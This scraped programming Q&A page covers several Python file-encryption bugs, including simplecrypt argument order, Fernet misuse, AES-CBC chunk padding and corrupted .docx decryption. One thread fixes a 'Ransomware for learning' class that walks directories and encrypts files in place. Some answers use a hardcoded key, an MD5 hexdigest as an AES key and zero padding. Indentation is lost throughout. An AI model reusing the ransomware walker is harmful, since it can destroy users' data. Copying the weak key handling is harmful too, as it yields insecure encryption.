SimpleCrypt Python Error - python

I am using the simplecrypt library to encrypt a file, however I cannot seem to read the file in a way that simplecrypt can decode it.
Encryption code:
from simplecrypt import encrypt, decrypt
def encrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
plaintext = fo.read()
enc = encrypt(plaintext, key)
with open(file_name + ".enc", 'wb') as fo:
fo.write(enc)
encrypt_file("test.txt", "securepass")
This works fine and runs without any errors, however as soon as i try to decode it i get this error (using the below code)
simplecrypt.DecryptionException: Data to decrypt must be bytes; you cannot use a string because no string encoding will accept all possible characters.
from simplecrypt import encrypt, decrypt
def decrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = decrypt(ciphertext, key)
with open(file_name[:-4], 'wb') as fo:
fo.write(dec)
decrypt_file("test.txt.enc", "securepass")

Aha... Minor mistake :-)
According to the docs in the link you provided in your question, the arguments to symplecrypt.encrypt and simplecrypt.decrypt are ('password', text). In your code you've got that inverted ( (text, key) ). You're passing the text to encrypt/decrypt in the first argument and the key in the second. Just reverse that order and will work.
Working example:
from simplecrypt import encrypt, decrypt
def encrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
plaintext = fo.read()
print "Text to encrypt: %s" % plaintext
enc = encrypt(key, plaintext)
with open(file_name + ".enc", 'wb') as fo:
fo.write(enc)
def decrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = decrypt(key, ciphertext)
print "decrypted text: %s" % dec
with open(file_name[:-4], 'wb') as fo:
fo.write(dec)
if __name__ == "__main__":
encrypt_file("test.txt", "securepass")
decrypt_file("test.txt.enc", "securepass")

Related

I have a python error with the cryptography library. Fernet.decrypt() missing 1 required positional argument: 'token'

I am experimenting with the cryptography library in python. I am getting this error:
Fernet.decrypt() missing 1 required positional argument: 'token'
This error came up while I was trying to decrypt the files. I do not no how to fix this, any suggestions will be appreciated. here is the code:
from cryptography.fernet import Fernet
Key = Fernet.generate_key()
fernet = Fernet(Key)
#with open("filekey.Key", 'wb') as filekey:
# filekey.write(Key)
with open ("filekey.Key", 'rb') as filekey:
Key = filekey.read()
#with open("HHAY.csv" , 'rb') as infile:
# original = infile.read()
#enc = fernet.encrypt(original)
#with open("HHAYenc.csv", 'wb') as encfile:
#encfile.write(enc)
with open("HHAYenc.csv",'rb') as encrypted_file:
encrypted = encrypted_file.read()
decrypted = Fernet.decrypt(encrypted)
with open("decHHAY.csv", 'wb') as decrypted_file:
decrypted_file.write(decrypted)
The encryption works but the decryption doesn't.
When you write:
decrypted = Fernet.decrypt(encrypted)
You meant:
decrypted = fernet.decrypt(encrypted)
Note the change in capitalization (Fernet -> fernet). You are erroneously calling the class rather than your instance variable.
This code runs without errors:
from cryptography.fernet import Fernet
Key = Fernet.generate_key()
fernet = Fernet(Key)
# Save key to a file
with open("filekey.Key", "wb") as filekey:
filekey.write(Key)
# Read key from a file
with open("filekey.Key", "rb") as filekey:
Key = filekey.read()
# Create example file "example.txt"
with open("example.txt", "w", encoding="utf8") as sample:
sample.write("This is a test.\n")
# Read data from "example.txt"
with open("example.txt", "rb") as infile:
original = infile.read()
# Encrypt data
encrypted = fernet.encrypt(original)
# Write encrypted data to "example.enc"
with open("example.enc", "wb") as encfile:
encfile.write(encrypted)
# Read encrypted data from "example.enc"
with open("example.enc", "rb") as encrypted_file:
encrypted = encrypted_file.read()
# Decrypt data
decrypted = fernet.decrypt(encrypted)
# Write decrypted data to "example.dec"
with open("example.dec", "wb") as decrypted_file:
decrypted_file.write(decrypted)

AES encryption and padding across multiple blocks

I am encrypting a large (100GB+) file with Python using PyCryptodome using AES-256 in CBC mode.
Rather than read the entire file into memory and encrypt it in one fell swoop, I would like to read the input file a 'chunk' at a time and append to the output file with the results of encrypting each 'chunk.'
Regrettably, the documentation for PyCryptodome is lacking in that I can't find any examples of how to encrypt a long plaintext with multiple calls to encrypt(). All the examples use a short plaintext and encrypt the entire plaintext in a single call to encrypt().
I had assumed that if my input 'chunk' is a multiple of 16 bytes (the block size of AES in CBC mode) I wouldn't need to add padding to any 'chunk' but the last one. However, I wasn't able to get that to work. (I got padding errors while decrypting.)
I'm finding that in order to successfully decrypt the file, I need to add padding to every 'chunk' when encrypting, and decrypt in units of the input chunk size plus 16 bytes. This means the decrypting process needs to know the 'chunk size' used for encryption, which makes me believe that this is probably an incorrect implementation.
While I do have my encryption/decryption working as described, I wonder if this is the 'correct' way to do it. (I suspect it is not.) I've read inconsistent claims on whether or not every such 'chunk' needs padding. If not, I'd like some handholding to get Pycryptodome to encrypt and then decrypt a large plaintext across multiple calls to encrypt() and decrypt().
EDIT: This code throws a ValueError, "Padding is incorrect," when decrpyting the first 'chunk'.
def encrypt_file(infile, outfile, aeskey, iv):
cipher = AES.new(aeskey, AES.MODE_CBC, iv)
with open(infile, "rb") as fin:
with open(outfile, "wb") as fout:
while True:
data = fin.read(16 * 32)
if len(data) ==0:
break
insize = len(data)
if insize == (16 * 32):
padded_data = data
else:
padded_data = pad(data, AES.block_size)
fout.write(cipher.encrypt(padded_data))
def decrypt_file(infile, outfile, aeskey, iv):
cipher = AES.new(aeskey, AES.MODE_CBC, iv)
with open (infile, "rb") as fin:
with open(outfile, "wb") as fout:
while True:
data = fin.read(16 * 32)
if len(data) == 0:
break
fout.write(unpad(cipher.decrypt(data), AES.block_size))
My problem was related to the PAD of the last block. It is necessary to detect which is the last fragment read in bytes in order to add the PAD.
def decrypt_file(
self, filename: str, output_file: str, save_path: str, key, iv
):
cipher_aes = AES.new(key, AES.MODE_CBC, iv)
log.info(f'Decrypting file: {filename} output: {output_file}')
count = 0
previous_data = None
with open(filename, "rb") as f, open(
f"{save_path}/{output_file}", "wb"
) as f2:
while True:
count+=1
data = f.read(self.block_size)
if data == b"":
decrypted = cipher_aes.decrypt(previous_data)
log.info(f'Last block UnPadding Count: {count} BlockSize: {self.block_size}')
decrypted = unpad(decrypted, AES.block_size, style="pkcs7")
f2.write(decrypted)
break
if previous_data:
decrypted = cipher_aes.decrypt(previous_data)
f2.write(decrypted)
previous_data = data
And apply the decrypt:
def decrypt_file(
self, filename: str, output_file: str, save_path: str, key, iv
):
cipher_aes = AES.new(key, AES.MODE_CBC, iv)
log.info(f'Decrypting file: {filename} output: {output_file}')
count = 0
previous_data = None
with open(filename, "rb") as f, open(
f"{save_path}/{output_file}", "wb"
) as f2:
while True:
count+=1
data = f.read(self.block_size)
if data == b"":
decrypted = cipher_aes.decrypt(previous_data)
log.info(f'Last block UnPadding Count: {count} BlockSize: {self.block_size}')
decrypted = unpad(decrypted, AES.block_size, style="pkcs7")
f2.write(decrypted)
break
if previous_data:
decrypted = cipher_aes.decrypt(previous_data)
f2.write(decrypted)
previous_data = data
It looks like the fix is to do similar chunksize/padding comparison in the decrypt function as I used in the encrypt function:
def decrypt_file(infile, outfile, aeskey, iv):
cipher = AES.new(aeskey, AES.MODE_CBC, iv)
with open (infile, "rb") as fin:
with open(outfile, "wb") as fout:
while True:
data = fin.read(16 * 32)
if len(data) == 0:
break
if len(data) == (16 * 32):
decrypted_data = cipher.decrypt(data)
else:
decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
fout.write(decrypted_data)

Python cryptography.fernet file decrypt

I am working on Ransomware for learning.
So I Copy-and-pasted this and edited it like this
but When I encrypt and decrypt a text file, it appends a string that looks like a random string. How can I fix this issue?
like:
Hello, World!
to
Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==
with this keyfile:
aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
the problem is that you encrypt then decrypt. Your encryption and decryption function is working fine the issue is that you always seek to the beginning of the file to write any changes this will work fine with encryption and will work fine with decryption if the the plaintext and ciphertext is of same size(no padding) but will place decrypted plaintext that is not as same same size of ciphertext at beginning of file and leave the rest of file unchanged so you need to truncate the remainder part of ciphertext.
import os
from os.path import expanduser
from cryptography.fernet import Fernet
class Ransomware(object):
def __init__(self):
self.key = None
self.cryptor = None
self.file_ext_targets = ["txt"] # Type of files, you're going to encrypt
def generate_key(self):
self.key = Fernet.generate_key()
self.cryptor = Fernet(self.key)
def read_key(self, keyfile_name):
with open(keyfile_name, "rb") as f:
self.key = f.read()
self.cryptor = Fernet(self.key)
def write_key(self, keyfile_name):
print(self.key)
with open(keyfile_name, "wb") as f:
f.write(self.key)
def crypt_root(self, root_dir, encrypted=False):
for root, _, files in os.walk(root_dir):
for f in files:
abs_file_path = os.path.join(root, f)
if not abs_file_path.split(".")[-1] in self.file_ext_targets:
continue
self.crypt_file(abs_file_path, encrypted=encrypted)
def crypt_file(self, file_path, encrypted=False):
with open(file_path, "rb+") as f:
_data = f.read()
if not encrypted:
# Encrypt
print()
data = self.cryptor.encrypt(_data)
f.seek(0)
f.write(data)
else:
data = self.cryptor.decrypt(_data)
print(f"File content before encryption: {data}")
f.seek(0)
f.write(data)
f.truncate()
sys_root = expanduser("~")
local_root = "."
keyfile = "./keyfile"
ransom = Ransomware()
def encrypt():
ransom.generate_key()
ransom.write_key("keyfile")
ransom.crypt_root(local_root)
def decrypt():
ransom.read_key(keyfile)
ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

How do I resolves the Fernet key error in python?

I am trying to encrypt Passwords but the function below
def Get_En_PassID():
Filename = 'Login_Token.bin'
if os.path.exists(Filename):
with open(Filename, 'rb') as file_object:
for line in file_object:
encryptedpwd = line.decode('utf-8')
key = encryptedpwd
print(key)
#return encryptedpwd
else:
PW = "encrypted message"
cipher_suite = Fernet(Fernet.generate_key())
#ciphered_text = cipher_suite.encrypt(bytes(PW,'utf-8')) #required to be bytes
ciphered_text = cipher_suite.encrypt(PW.encode('utf-8')) #required to be bytes
with open(Filename, 'wb') as file_object: file_object.write(ciphered_text)
key = ciphered_text
#return ciphered_text
f = Fernet(key)
p = f.decrypt(key)
print(p)
only returning ValueError: Fernet key must be 32 url-safe base64-encoded bytes.
Can you tell me what I'm doing wrong?
I've seen a different question with similar problem and I've tried it but it's still giving this error
the token that's in the file : gAAAAABfpT0o0lcFJnvTUFmPvwEnrkX7-PK2Bs4t---QDK...b7XdJEr40nJnFAfNM=

How can I encrypt .docx files with AES & pycrypto without corrupting the files

I've got this bit of python code that I want to use to encrypt various kinds of files with AES 256. I am using the pycrypto module. It works fine for most files (exe, deb, jpg, pdf, txt) but when it comes to office files (docx, xlsx, ppt etc) the file is corrupted upon decryption and will no open (nor can it be repaired) in LibreOffice. I am using Linux mint, python 2.7.6, pycrypto 2.6.1. I'm still a bit of a noob so I'd appreciate it if you could give me code examples of the corrections you'd recommend.
Thanks
from Crypto import Random
from Crypto.Cipher import AES
import os
def pad(s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
def encrypt(message, key, key_size=256):
message = pad(message)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(message)
def decrypt(ciphertext, key):
iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b"\0")
def encrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
plaintext = fo.read()
enc = encrypt(plaintext, key)
with open(file_name + ".enc", 'wb') as fo:
fo.write(enc)
def decrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = decrypt(ciphertext, key)
with open(file_name[:-4], 'wb') as fo:
fo.write(dec)
key = b'\xbf\xc0\x85)\x10nc\x94\x02)j\xdf\xcb\xc4\x94\x9d(\x9e[EX\xc8\xd5\xbfI{\xa2$\x05(\xd5\x18'
encrypt_file('file.docx', key)
The problem is here
plaintext.rstrip(b"\0")
I have run the program and see the reason is:
There was a bug in here that caused the last bytes of the original file to be discarded if they happened to have the same value as the padding bytes!
To fix this issue, we have to store how many padding bytes were used during encryption, then remove them during decryption. Here is my code, it works for me (tested with word and excel 2013 files, pdf, jpg). Let me know if still some bugs.
from Crypto import Random
from Crypto.Cipher import AES
import hashlib
def pad(s):
padding_size = AES.block_size - len(s) % AES.block_size
return s + b"\0" * padding_size, padding_size
def encrypt(message, key, key_size=256):
message, padding_size = pad(message)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CFB, iv)
enc_bytes = iv + cipher.encrypt(message) + bytes([padding_size])
return enc_bytes
def decrypt(ciphertext, key):
iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_CFB, iv)
plaintext = cipher.decrypt(ciphertext[AES.block_size:-1])
padding_size = ciphertext[-1] * (-1)
return plaintext[:padding_size]
def encrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
plaintext = fo.read()
enc = encrypt(plaintext, key)
with open(file_name + ".enc", 'wb') as fo:
fo.write(enc)
def decrypt_file(file_name, key):
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = decrypt(ciphertext, key)
with open('processed_' + file_name[:-4], 'wb') as fo:
fo.write(dec)
key = 'Quan'
hash_object = hashlib.md5(key.encode())
while True:
filename = input('File: ')
en_de = input('En or De?')
if en_de.upper() == 'EN':
encrypt_file(filename, hash_object.hexdigest())
elif en_de.upper() == 'DE':
decrypt_file(filename, hash_object.hexdigest())
else:
print('Did not pick either en or de!')
cont = input('Continue?')
if cont.upper() == 'N':
break
If you need to add padding to make the plaintext a multiple of 16 bytes, the extra bytes need to be stripped before you write the decrypted data. This means you will need to somehow include the number of pad bytes added with the padding before you encrypt it. See PKCS#7 for one possible technique. There are a number of other schemes as well.

Categories